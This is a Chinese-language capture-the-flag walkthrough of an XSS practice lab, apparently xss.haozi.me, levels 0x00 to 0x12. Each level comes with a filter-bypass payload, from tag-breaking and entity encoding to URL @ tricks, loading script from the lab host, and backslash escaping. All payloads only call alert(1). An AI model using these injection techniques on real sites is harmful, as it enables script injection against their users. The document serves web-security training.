0x00
需要在左侧的 Input code 输入东西直到能够执行 alert(1)
服务端代码渲染函数直接套一个 div 标签拼接字符串并插入到 html 中,那么输入 <script>alert(1)</script>,HTML 解析时会把 script 标签里的内容解析为 JS 代码并执行
0x01
套的是 textarea 而非 div
<textarea>HTML 元素是一个多行纯文本编辑控件,适用于允许用户输入大量自由格式文本的场景,例如评论或反馈表单
由于其特性,HTML 解析时并不会解析 textarea 里面的 HTML 代码。直接写一个 script 标签显然不行。不过服务端渲染函数是把输入内容放在中间,左边拼一个头标签,右边拼一个尾标签。那么其实可以提前闭合 textarea 标签使得 script 标签到外面来
</textarea><script>alert(1)</script>

0x02
与上一关类似的思路,也是手动闭合标签:
"><script>alert(1)</script>

0x03
正则匹配替换了 ( 和 ) 为空格,可以使用反引号代替括号
<script>alert`1`</script>
在 JS 中,如果函数名后面直接跟一个表达式可以允许省略括号。例如,
alert "1"会报错,因为双引号不是表达式的一部分,但 alert `1`是合法的,模板字面量会作为参数传递给 alert 函数

0x04
还是正则过滤,除了括号还替换了反引号。可以使用实体编码绕过,此时需要写在绑定事件里,写在 script 标签里不会解析成原始的 JS 语句
<input onclick="alert(1)">
点一下上面的输入框就有了

HTML 实体仅在 HTML 层面生效。实体编码是为了在 HTML 文本中安全表示特殊字符,但当浏览器将这些字符传递到 JavaScript 引擎时,它们已经被解码成原始字符
HTML 实体编码是一种用于在 HTML 文档中表示特殊字符的方式。这种编码通过使用预定义的名称或数字代码表示字符,可以避免这些字符被浏览器误解为 HTML 语法。可以使用预定义的实体名称或 Unicode 码,如
& → && → &
0x05
输入内容被插到注释符中间并且把尾注释符 --> 替换成 😂,可以使用 --!> 闭合
--!><input onclick="alert(1)">

0x06
替换 auto on.*= > 为下划线。可以插入换行符来绕过 on.*=
onclick
="alert(1)"

0x07
这个正则 /<\/?[^>]+>/gi 是匹配所有的头尾标签比如 <a> </script> </div>
不闭合就行了,依然会解析
<input onclick="alert(1)"
0x08
过滤了 </style>,加个空格就行了
</style ><script>alert(1)</script>

0x09
输入内容放到 src 里并且限制以特定 url 开头,还是手动闭合的思路
URL 后面多加个字符,使它指向无效资源地址
https://www.segmentfault.com1"></script><input onclick="alert(1)">
或者绑定 error 事件
https://www.segmentfault.com1" onerror="alert(1)">

0x0A
也是限制了 url 并且把一些字符替换成了实体编码
在 URL 中,
@用于分隔用户名和密码部分与主机部分。例如,以下 URL 是合法的:https://username:password@hostname在浏览器解析时,
username:password@hostname中的username:password会被视为认证信息,而hostname才是实际的目标主机
引入外部 JS
https://[email protected]/j.js

0x0B
输入内容全部转大写
可以引入外部 JS
HTML 标签不区分大小写,但是 JS 语句区分
<script src="https://xss.haozi.me/j.js"></script>

0x0C
除了转大写,还把 script 替换成空格。可以在两个 script 中间各插一个 script,这样把中间插入的去掉就构成了 script
<sscriptcript src="https://xss.haozi.me/j.js"></sscriptcript>

0x0D
把 < / " ' 替换成空格,输入的内容被插到一句注释里
// 是 JS 单行注释,可以插入换行来逃逸。写一个 alert(1) 但后面还跟着 '),再换行并使用 --> 注释掉
alert(1);
-->

0x0E
把 < + 字母的组合在 < 后面加了个下划线,并且全部转大写
利用 JS 的一个缺陷,如图

<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F
把一些字符替换成了实体编码,但是插入的内容在 onerror 内作为 JS 代码解析,所以等于没替换,依然能够解析
');alert(1);//

0x10
无过滤,alert(1) 直接就行。 JavaScript 的赋值语句在执行时会先求解右侧的表达式,然后将结果赋值给左侧。alert(1) 的值是 undefined

0x11
给一些特殊字符前面加了反斜杠以转义,但是依然能够手动闭合和注释
JS 在对字符串进行定义或赋值时会进行一次解转义,将字符串中的转义字符(如 \n、\t 等)转换为对应的实际字符
例如:
const str = "Hello\nWorld"; console.log(str); // 输出: // Hello // World
s = escapeJs(s) 会进行一次解转义,所以 replace 加上的反斜杠又没了,var url= 再进行了一次解转义,会把替换而成的转义字符转换为实际字符,就没有转义字符了。所以这个 replace 操作实际上没有起作用
");alert(1)//
或者
");alert("1

0x12
把双引号前面加了个反斜杠以转义,直接用双引号不能够闭合
可以在引号前面加个反斜杠,使得自己加的这个反斜杠把后面被加上的反斜杠给转义掉,这样它就不会转义后面的双引号了
\");alert(1);//
